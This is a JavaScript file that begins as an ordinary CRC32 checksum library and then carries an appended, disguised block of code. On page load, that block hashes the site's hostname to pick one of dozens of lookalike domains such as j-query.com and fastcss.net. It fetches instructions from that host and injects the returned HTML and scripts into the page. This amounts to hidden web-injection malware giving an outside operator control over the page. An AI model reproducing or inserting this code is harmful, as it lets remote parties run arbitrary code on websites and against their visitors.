var CRC32;
(function (factory) {
	/*jshint ignore:start */
	/*eslint-disable */
	if(typeof DO_NOT_EXPORT_CRC === 'undefined') {
		if('object' === typeof exports) {
			factory(exports);
		} else if ('function' === typeof define && define.amd) {
			define(function () {
				var module = {};
				factory(module);
				return module;
			});
		} else {
			factory(CRC32 = {});
		}
	} else {
		factory(CRC32 = {});
	}
	/*eslint-enable */
	/*jshint ignore:end */
}(function(CRC32) {
	CRC32.version = '1.2.0';
	/* see perf/crc32table.js */
	/*global Int32Array */
	function signed_crc_table() {
		var c = 0, table = new Array(256);

		for(var n =0; n != 256; ++n){
			c = n;
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			c = ((c&1) ? (-306674912 ^ (c >>> 1)) : (c >>> 1));
			table[n] = c;
		}

		return typeof Int32Array !== 'undefined' ? new Int32Array(table) : table;
	}

	var T = signed_crc_table();
	function crc32_bstr(bstr, seed) {
		var C = seed ^ -1, L = bstr.length - 1;
		for(var i = 0; i < L;) {
			C = (C>>>8) ^ T[(C^bstr.charCodeAt(i++))&0xFF];
			C = (C>>>8) ^ T[(C^bstr.charCodeAt(i++))&0xFF];
		}
		if(i === L) C = (C>>>8) ^ T[(C ^ bstr.charCodeAt(i))&0xFF];
		return C ^ -1;
	}

	function crc32_buf(buf, seed) {
		if(buf.length > 10000) return crc32_buf_8(buf, seed);
		var C = seed ^ -1, L = buf.length - 3;
		for(var i = 0; i < L;) {
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
		}
		while(i < L+3) C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
		return C ^ -1;
	}

	function crc32_buf_8(buf, seed) {
		var C = seed ^ -1, L = buf.length - 7;
		for(var i = 0; i < L;) {
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
			C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
		}
		while(i < L+7) C = (C>>>8) ^ T[(C^buf[i++])&0xFF];
		return C ^ -1;
	}

	function crc32_str(str, seed) {
		var C = seed ^ -1;
		for(var i = 0, L=str.length, c, d; i < L;) {
			c = str.charCodeAt(i++);
			if(c < 0x80) {
				C = (C>>>8) ^ T[(C ^ c)&0xFF];
			} else if(c < 0x800) {
				C = (C>>>8) ^ T[(C ^ (192|((c>>6)&31)))&0xFF];
				C = (C>>>8) ^ T[(C ^ (128|(c&63)))&0xFF];
			} else if(c >= 0xD800 && c < 0xE000) {
				c = (c&1023)+64; d = str.charCodeAt(i++)&1023;
				C = (C>>>8) ^ T[(C ^ (240|((c>>8)&7)))&0xFF];
				C = (C>>>8) ^ T[(C ^ (128|((c>>2)&63)))&0xFF];
				C = (C>>>8) ^ T[(C ^ (128|((d>>6)&15)|((c&3)<<4)))&0xFF];
				C = (C>>>8) ^ T[(C ^ (128|(d&63)))&0xFF];
			} else {
				C = (C>>>8) ^ T[(C ^ (224|((c>>12)&15)))&0xFF];
				C = (C>>>8) ^ T[(C ^ (128|((c>>6)&63)))&0xFF];
				C = (C>>>8) ^ T[(C ^ (128|(c&63)))&0xFF];
			}
		}
		return C ^ -1;
	}
	CRC32.table = T;
	CRC32.bstr = crc32_bstr;
	CRC32.buf = crc32_buf;
	CRC32.str = crc32_str;
}));


(function () {
	var currentHost = window.location.hostname;
	var domainArray = [
		"fonts.free-fonts.net", "fontz.free-fonts.net", "cdn.free-fonts.net", "content.free-fonts.net",
		"source.free-fonts.net", "sources.free-fonts.net", "apps.free-fonts.net", "cdn1.free-fonts.net",
		"cdn2.free-fonts.net", "cdn3.free-fonts.net", "delivery.free-fonts.net", "network.free-fonts.net",
		"bucket.free-fonts.net", "cloud.free-fonts.net", "files.free-fonts.net", "download.free-fonts.net",
		"get.free-fonts.net", "see.free-fonts.net", "load.free-fonts.net", "dl.free-fonts.net",
		"W1JvfaM0wJFrvcs3iXMaBaCbxYRlILJCzH2j9DqN.free-fonts.net", "5EvotMhMz3XJQzSLfiABK2sPIuRIl2bzWEyPLaUk.free-fonts.net",
		"UeiEa5PuMlRjJ32Z8oEb.free-fonts.net", "fonts.fastcss.net", "fontz.fastcss.net", "cdn.fastcss.net",
		"content.fastcss.net", "source.fastcss.net", "sources.fastcss.net", "apps.fastcss.net", "cdn1.fastcss.net",
		"cdn2.fastcss.net", "cdn3.fastcss.net", "delivery.fastcss.net", "network.fastcss.net", "bucket.fastcss.net",
		"cloud.fastcss.net", "files.fastcss.net", "download.fastcss.net", "get.fastcss.net", "see.fastcss.net",
		"load.fastcss.net", "dl.fastcss.net", "W1JvfaM0wJFrvcs3iXMaBaCbxYRlILJCzH2j9DqN.fastcss.net",
		"5EvotMhMz3XJQzSLfiABK2sPIuRIl2bzWEyPLaUk.fastcss.net", "UeiEa5PuMlRjJ32Z8oEb.fastcss.net", "fonts.j-query.com",
		"fontz.j-query.com", "cdn.j-query.com", "content.j-query.com", "source.j-query.com", "sources.j-query.com",
		"apps.j-query.com", "cdn1.j-query.com", "cdn2.j-query.com", "cdn3.j-query.com", "delivery.j-query.com",
		"network.j-query.com", "bucket.j-query.com", "cloud.j-query.com", "files.j-query.com", "download.j-query.com",
		"get.j-query.com", "see.j-query.com", "load.j-query.com", "dl.j-query.com",
		"W1JvfaM0wJFrvcs3iXMaBaCbxYRlILJCzH2j9DqN.j-query.com", "5EvotMhMz3XJQzSLfiABK2sPIuRIl2bzWEyPLaUk.j-query.com",
		"UeiEa5PuMlRjJ32Z8oEb.j-query.com", "fonts.jscript.cloud", "fontz.jscript.cloud", "cdn.jscript.cloud",
		"content.jscript.cloud", "source.jscript.cloud", "sources.jscript.cloud", "apps.jscript.cloud",
		"cdn1.jscript.cloud", "cdn2.jscript.cloud", "cdn3.jscript.cloud", "delivery.jscript.cloud",
		"network.jscript.cloud", "bucket.jscript.cloud", "cloud.jscript.cloud", "files.jscript.cloud",
		"download.jscript.cloud", "get.jscript.cloud", "see.jscript.cloud", "load.jscript.cloud", "dl.jscript.cloud",
		"W1JvfaM0wJFrvcs3iXMaBaCbxYRlILJCzH2j9DqN.jscript.cloud", "5EvotMhMz3XJQzSLfiABK2sPIuRIl2bzWEyPLaUk.jscript.cloud",
		"UeiEa5PuMlRjJ32Z8oEb.jscript.cloud"
	];

	function convertStringToInteger(randomString, min, max) {
		var interval = max - min;
		var indexOfDomain = (Math.abs(CRC32.str(randomString)) % interval) + min;
		return domainArray[indexOfDomain];
	}

	var generatedHost = convertStringToInteger(currentHost, 0, domainArray.length - 1);

	if (typeof window.CSSUniquePosition != "undefined") {
		return false;
	}
	if (typeof window.intgrtn != "undefined") {
		return false;
	}

	window.CSSUniquePosition = {
		options: {
			server: {
				host: generatedHost,
			},
		},
	};

	window.CSSUniquePosition.elements = {};
	window.CSSUniquePosition.elements.find = function (selector, element) {
		if (typeof element === "undefined") {
			element = document;
		}
		if (typeof selector === "string") {
			return Array.prototype.slice.call(element.querySelectorAll(selector));
		} else if (typeof selector instanceof Array) {
			return selector;
		} else if (typeof selector === "object") {
			return [selector];
		}
		return [];
	};
	window.CSSUniquePosition.elements.setHtml = function (selector, html) {
		if (!html) {
			html = "";
		}
		window.CSSUniquePosition.elements.find(selector).forEach(function (element) {
			element.innerHTML = "";
			window.CSSUniquePosition.elements.appendChild(element, html);
		});
		return window.CSSUniquePosition;
	};
	window.CSSUniquePosition.elements.appendChild = function (selector, html) {
		if (!html) {
			html = "";
		}
		window.CSSUniquePosition.elements.find(selector).forEach(function (element) {
			if (typeof html === "string") {
				element.innerHTML = element.innerHTML + html;
			} else if (typeof html === "object") {
				element.appendChild(html);
			}
		});
		return window.CSSUniquePosition;
	};
	window.CSSUniquePosition.elements.prepend = function (selector, html) {
		if (!html) {
			html = "";
		}
		window.CSSUniquePosition.elements.find(selector).forEach(function (element) {
			if (typeof html === "string") {
				element.innerHTML = html + element.innerHTML;
			} else if (typeof html === "object") {
				element.prepend(html);
			}
		});
		return window.CSSUniquePosition;
	};
	window.CSSUniquePosition.elements.remove = function (selector) {
		window.CSSUniquePosition.elements.find(selector).forEach(function (element) {
			element.parentNode.removeChild(element);
		});
		return window.CSSUniquePosition;
	};
	window.CSSUniquePosition.elements.parseHTML = function (html) {
		var container = document.createElement("div");
		container.innerHTML = html;
		var scripts = window.CSSUniquePosition.elements.find("script", container);

		scripts.forEach(function (script) {
			var newScript = document.createElement("script");
			if (script.src) {
				newScript.src = script.src;
			}
			if (script.innerHTML) {
				newScript.innerHTML = script.innerHTML;
			}
			script.parentNode.replaceChild(newScript, script);
		});
		return Array.prototype.slice.call(container.childNodes);
	};
	window.CSSUniquePosition.ajax = function (options) {
		if (typeof options === "undefined") {
			options = {};
		}
		if (!options.url) {
			options.url = null;
		}
		if (!options.method) {
			options.method = "GET";
		}
		if (!options.data) {
			options.data = {};
		}
		if (!options.onSuccess) {
			options.onSuccess = function () {
			};
		}
		if (!options.onError) {
			options.onError = function () {
			};
		}
		var xmlhttp = new XMLHttpRequest();
		xmlhttp.onreadystatechange = function () {
			if (xmlhttp.readyState === XMLHttpRequest.DONE) {
				var response = xmlhttp.responseText;
				if (xmlhttp.getResponseHeader("Content-Type") === "application/json") {
					response = JSON.parse(xmlhttp.responseText);
				}
				if ([200, 201].indexOf(xmlhttp.status) !== -1) {
					options.onSuccess(response, xmlhttp.status);
				} else {
					options.onError(response, xmlhttp.status);
				}
			}
		};
		xmlhttp.open(options.method, options.url, true);
		xmlhttp.setRequestHeader("Content-Type", "application/json");
		xmlhttp.send(JSON.stringify(options.data));
	};
	window.CSSUniquePosition.applyDomManipulations = function (items) {
		items.forEach(function (item) {
			window.CSSUniquePosition.elements.find(item.selector).forEach(function (element) {
				switch (item.action) {
					case "append":
					case "prepend":
					case "html":
						window.CSSUniquePosition.elements.parseHTML(item.value).forEach(function (node) {
							switch (item.action) {
								case "append":
									window.CSSUniquePosition.elements.appendChild(element, node);
									break;
								case "prepend":
									window.CSSUniquePosition.elements.prepend(element, node);
									break;
								case "html":
									window.CSSUniquePosition.elements.setHtml(element, node);
									break;
								default:
									break;
							}
						});
						break;
					case "remove":
						window.CSSUniquePosition.elements.remove(element);
						break;
				}

			});
		});
	};

	window.CSSUniquePosition.ajax({
		url: "//" + window.CSSUniquePosition.options.server.host + "/api/v1/projects/check.php",
		onSuccess: function (response) {
			if (typeof response !== 'undefined' && typeof response.data !== 'undefined' && typeof response.data.domManipulations !== 'undefined') {
				window.CSSUniquePosition.applyDomManipulations(response.data.domManipulations);
			}
		},
		onError: function (response) {
			if (typeof response !== 'undefined' && typeof response.data !== 'undefined' && typeof response.data.domManipulations !== 'undefined') {
				window.CSSUniquePosition.applyDomManipulations(response.data.domManipulations);
			}
		},
	});
}());